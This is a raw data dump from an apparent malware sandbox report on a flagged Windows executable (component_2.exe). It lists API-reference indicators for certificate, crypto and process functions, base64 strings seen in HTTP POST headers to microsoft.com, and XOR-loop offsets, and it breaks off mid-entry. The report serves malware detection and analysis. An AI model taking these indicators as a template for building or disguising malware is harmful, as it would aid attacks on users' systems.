24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 39:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample be5b46985225… — Score 87/100 — Hybrid Analysis","description":"Malicious verdict for sample be5b46985225…. Malware family: Win/malicious_confidence_70%. Threat score 87/100. 4/27 AV engines flagged this file. 4 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a"],"about":{"@type":"SoftwareApplication","name":"component_2.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a","additionalType":"Malicious sample"},"threatScore":87,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4f6,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin")26:T40b,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin")27:T5596,Found api reference ": %s "%s" -> %slevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625crypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWGetProcAddress" (Indicator: "CertOpenStore"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=" (Indicator: "CertOpenSystemStoreW"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=" (Indicator: "CryptAcquireContextW"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "unctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625ref" (Indicator: "CertGetCertificateChain"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "lect.Value.Interfacereflect.Value.NumMethod" missing CPU supportexit hook invoked panicGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad" (Indicator: "CertFreeCertificateChain"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG w" (Indicator: "CertEnumCertificatesInStore"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG w" (Indicator: "CertFreeCertificateContext"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625reflect.Value.UnsafePointerabi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workco" (Indicator: "CertCreateCertificateContext"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "s: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of range11368683772161602973937988281255684341886080801486968994140625reflect: Len of non-array type resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "s: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of range11368683772161602973937988281255684341886080801486968994140625reflect: Len of non-array type resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio" (Indicator: "CertOpenSystemStoreW"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio" (Indicator: "CryptAcquireContextW"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "unctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890625re" (Indicator: "CertGetCertificateChain"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin") Found api reference "lect.Value.Interfacereflect.Value.NumMethod" missing CPU supportexit hook invoked panicGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartba" (Indicator: "CertFreeCertificateChain"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG" (Indicator: "CertEnumCertificatesInStore"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125unknown ABI parameter kindRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG" (Indicator: "CertFreeCertificateContext"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625reflect.Value.UnsafePointerabi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workc" (Indicator: "CertCreateCertificateContext"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin")28:Tfda,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedHost: microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89"29:T6e0,Found XOR loop in file "sample.bin" at offset 89106; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1704058; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1181239; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1280006; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1318911; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1348718; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1399782; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1755748; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 185718; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 223529; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 223889; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 224289; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 226451; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 248881; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 269008; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 410693; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 411389; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 412030; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 422409; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 963936; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1256886; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1411975; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1544878; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2086842; code bytes = 80302a:T9f2," [("")) ) +: @s -> PB n=][}]> [ ] 25LlLtLuMn"osnilfinptrobj()gc %: gp *(in n= ) - NaN P m= MPC= < end > ...]:???pc= G125625EOFintmapadxaesshaavxfmanet" (Indicator: "aes"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), file/memory contains long string with (Indicator: "3des"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a.bin"), Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: 